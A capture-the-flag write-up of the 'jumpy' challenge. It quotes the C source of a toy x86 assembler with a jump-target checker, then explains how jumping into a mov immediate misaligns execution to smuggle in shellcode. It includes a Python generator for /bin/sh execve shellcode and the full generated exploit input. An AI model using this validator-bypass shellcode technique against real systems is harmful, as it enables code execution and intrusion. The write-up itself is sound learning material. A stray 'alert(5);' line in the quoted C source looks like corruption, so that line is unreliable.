We're given two files (jumpy and jumpy.c) and otherwise no description.
Here is the whole source file for reference, if needed:
#include <sys/mman.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <stdlib.h>
void ignore_me_init_buffering() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
typedef struct instruction_t
{
char *mnemonic;
uint8_t opcode;
} instruction_t;
const uint8_t OP_RET = 0xc3;
const uint8_t OP_SHORT_JMP = 0xeb; // 8 bit rel
const uint8_t OP_MOV_EAX_IMM32 = 0xb8;
const instruction_t INSNS[3] = {
{"ret", OP_RET},
{"jmp", OP_SHORT_JMP},
{"moveax", OP_MOV_EAX_IMM32},
};
uint8_t *cursor;
uint8_t *mem;
void emit_opcode(uint8_t opcode)
{
*cursor++ = opcode;
}
void emit_imm32()
{
scanf("%d", (uint32_t *)cursor);
cursor += sizeof(uint32_t);
}
int8_t emit_imm8()
{
scanf("%hhd", (int8_t *)cursor++);
return *(int8_t *)(cursor - 1);
}
const instruction_t *isns_by_mnemonic(char *mnemonic)
{
for (int i = 0; i < sizeof(INSNS) / sizeof(INSNS[0]); i++)
if (!strcmp(mnemonic, INSNS[i].mnemonic))
return &INSNS[i];
return NULL;
}
bool is_supported_op(uint8_t op)
{
for (int i = 0; i < sizeof(INSNS) / sizeof(INSNS[0]); i++)
if (op == INSNS[i].opcode)
return true;
return false;
}
int main(void)
{
ignore_me_init_buffering();
printf("this could have been a V8 patch...\n");
printf("... but V8 is quite the chungus ...\n");
printf("... so here's a small and useless assembler instead\n\n");
mem = mmap((void*)0x1337000000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(mem, 0xc3, 0x1000); // Ret
cursor = mem;
printf("supported insns:\n");
printf("- moveax $imm32\n");
printf("- jmp $imm8\n");
printf("- ret\n");
printf("- (EOF)\n");
printf("\n");
uint8_t **jump_targets = NULL;
size_t jump_target_cnt = 0;
{
while (1)
{
printf("> ");
char opcode[10] = {0};
scanf("%9s", opcode);
const instruction_t *insn = isns_by_mnemonic(opcode);
if (!insn)
break;
emit_opcode(insn->opcode);
switch (insn->opcode)
{
case OP_MOV_EAX_IMM32:
emit_imm32();
break;
case OP_SHORT_JMP:
jump_targets = reallocarray(jump_targets, ++jump_target_cnt, sizeof(jump_targets[0]));
int8_t imm = emit_imm8();
uint8_t *target = cursor + imm;
jump_targets[jump_target_cnt - 1] = target;
break;
case OP_RET:
break;
}
}
}
for (int i = 0; i < jump_target_cnt; i++)
{
if (!is_supported_op(*jump_targets[i]))
{
printf("invalid jump target!\n");
printf("%02x [%02x] %02x\n", *(jump_targets[i] - 1), *(jump_targets[i] + 0), *(jump_targets[i] + 1));
exit(1);
}
}
uint64_t (*code)() = (void *)mem;
mprotect(code, 0x1000, PROT_READ | PROT_EXEC);
printf("\nrunning your code...\n");
alert(5);
printf("result: 0x%lx\n", code());
}
To summarise it's execution:
0x1000
bytes of memory are allocated, and all set to hold the opcode for the x86 ret instructionret
, which writes a simple ret instruction to the blockmoveax
, which writes b8
followed by a 32 bit user inputted integer - thus forming mov eax, num
jmp
, which writes eb
followed by an 8 bit user inputted integer - thus forming jmp rip+num
. An array of jmp targets is also built for the next step.jmp
is checked that it hits one of ret
, moveax
or jmp
- if it doesn't, the program is aborted.
I used the jmp
instructions to start executing code inside the literal of a moveax
instruction, thus misaligning rip
allowing me to fill in arbitrary shellcode.
For example:
0: jmp 1
2: moveax 0x909000eb
3: ...
would be encoded as
eb 01 # jmp 1
b8 eb 00 90 90 # mov eax, 0x909000eb
This will be considered valid by the checker, as the target of the jmp
is eb
, which is a valid opcode. After the jmp
into the mov
however, disassembly would change to look like this:
eb 00 # jmp 0
90 # nop
90 # nop
This works well, after the initial jmp
we can write any code, the only catch is that we cannot fit more than three bytes of code (with the exception of the first, which can only fit 1) per moveax
, as the last needs to be used to keep rip
misaligned, for example the (valid) input
0: jmp 1
2: moveax 0xb39000eb
7: moveax 0x90909090
would give
eb 01 # jmp 1
b8 eb 00 90 b3 # mov eax, 0xb39000eb
b8 90 90 90 90 # mov eax, 0x90909090
which after being misaligned in the first jmp
, becomes:
eb 00 # jmp 0
90 # nop
b3 b8 # mov cl, 0xb8 - just to consume the b8. The use of rcx is arbitrary, it just ends up being convenient later as it's not a register used in the rest of the shellcode
90 # nop
...
thus maintaining the misalignment. This means that whetever shellcode we craft will be limited to 3 bytes (or less) per instruction. With this in mind, we can start modifying pwnlib
's /bin/sh
invocating shellcode:
0: 6a 68 push 0x68
2: 48 b8 2f 62 69 6e 2f movabs rax, 0x732f2f2f6e69622f
9: 2f 2f 73
c: 50 push rax
d: 48 89 e7 mov rdi, rsp
10: 68 72 69 01 01 push 0x1016972
15: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101
1c: 31 f6 xor esi, esi
1e: 56 push rsi
1f: 6a 08 push 0x8
21: 5e pop rsi
22: 48 01 e6 add rsi, rsp
25: 56 push rsi
26: 48 89 e6 mov rsi, rsp
29: 31 d2 xor edx, edx
2b: 6a 3b push 0x3b
2d: 58 pop rax
2e: 0f 05 syscall
There are only three intructions here with more than three bytes - 2
, 10
and 15
, but they can all be reduced to groups of no more than three in the same way. Taking the first as an example: movabs rax, 0x732f2f2f6e69622f
, achieves the same as:
xor rax, rax # zero out rax
mov al, 0x73 # most significant byte will be 0x73
shl al, 8 # move it left 8 bits
mov al, 0x2f # next most significant byte will be 0x2f
shl al, 8 # move both left 8 bits
...
(Technically I shift first - which I could just optimise out, but it's more intuitive to show this way - shifting first means that the final byte isn't shifted as required).
Unfortunately shl al, 8
is 4 bytes, but shl al, 1
is just 3, so I just repeated that 8 times instead. There may well be a more efficient way to do this, but it works :).
The same idea can be applied to 10
and 15
.
This is the script I used to generate the input string:
result_code = b"\xeb\x00\x90\xb1"
ins = "jmp 1\n"
ins += f"moveax {int.from_bytes(result_code, 'little')}\n" # jmp +0, nop, b9
# clobbers rcx
def insertins(data):
global ins
global result_code
if type(data) == str: data = bytearray.fromhex(data)
while len(data) != 3: data += b"\x90" # nop
data += b"\xb1" # start of next ins
result_code += b"\xb8" + data
ins += f"moveax {int.from_bytes(data, 'little')}\n"
insertins("6a68") # push 0x68
i = bytearray.fromhex("732f2f2f6e69622f")
insertins("4831c0") # xor rax, rax
for b in i:
for _ in range(8): insertins("48d1e0") # shl rax, 1
insertins(bytes([0xb0, b])) # mov al, <byte>
insertins("50") # push rax
insertins("4889e7") # mov rdi, rsp
i = bytearray.fromhex("01016972")
insertins("4831db") # xor rbx, rbx
for b in i:
for _ in range(8): insertins("48d1e3") # shl rbx, 1
insertins(bytes([0xb3, b])) # mov bl, <byte>
insertins("53") # push rbx
i = bytearray.fromhex("01010101")
insertins("4831db") # xor rbx, rbx
for b in i:
for _ in range(8): insertins("48d1e3") # shl rbx, 1
insertins(bytes([0xb3, b])) # mov bl, <byte>
insertins("311c24") # xor DWORD PTR [rsp], ebx
insertins("31f656") # xor esi, esi push rsi
insertins("6a085e") # push 0x8, pop rsi
insertins("4801e6") # add rsi, rsp
insertins("56") # push rsi
insertins("4889e6") # mov rsi, rsp
insertins("31d2") # xor edx, edx
insertins("6a3b58") # push 0x3b, pop rax
insertins("0f05") # syscall
print(ins + "\nend") # something invalid to end the instruction list
It's not pretty, nor is it a nice general solution - but it does work, and I'm quite happy with it.
It generates the below, which does give a shell from which a simple cat flag
works.
jmp 1
moveax 2979004651
moveax 2979031146
moveax 2982162760
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979034032
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979016624
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979016624
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979016624
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979032752
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979031472
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979029680
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2984300872
moveax 2979016624
moveax 2979041360
moveax 2984741192
moveax 2983932232
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979004851
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979004851
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979031475
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979033779
moveax 2979041363
moveax 2983932232
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979004851
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979004851
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979004851
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2984497480
moveax 2979004851
moveax 2971933745
moveax 2975266353
moveax 2975729770
moveax 2984640840
moveax 2979041366
moveax 2984675656
moveax 2979058225
moveax 2975349610
moveax 2979005711
end
The flag: ALLES!{people have probably done this before but my google foo is weak. segmented shellcode maybe?}
.
Unfortunately I did not submit in time, but I enjoyed the problem nontheless, and am quite happy I found a solution.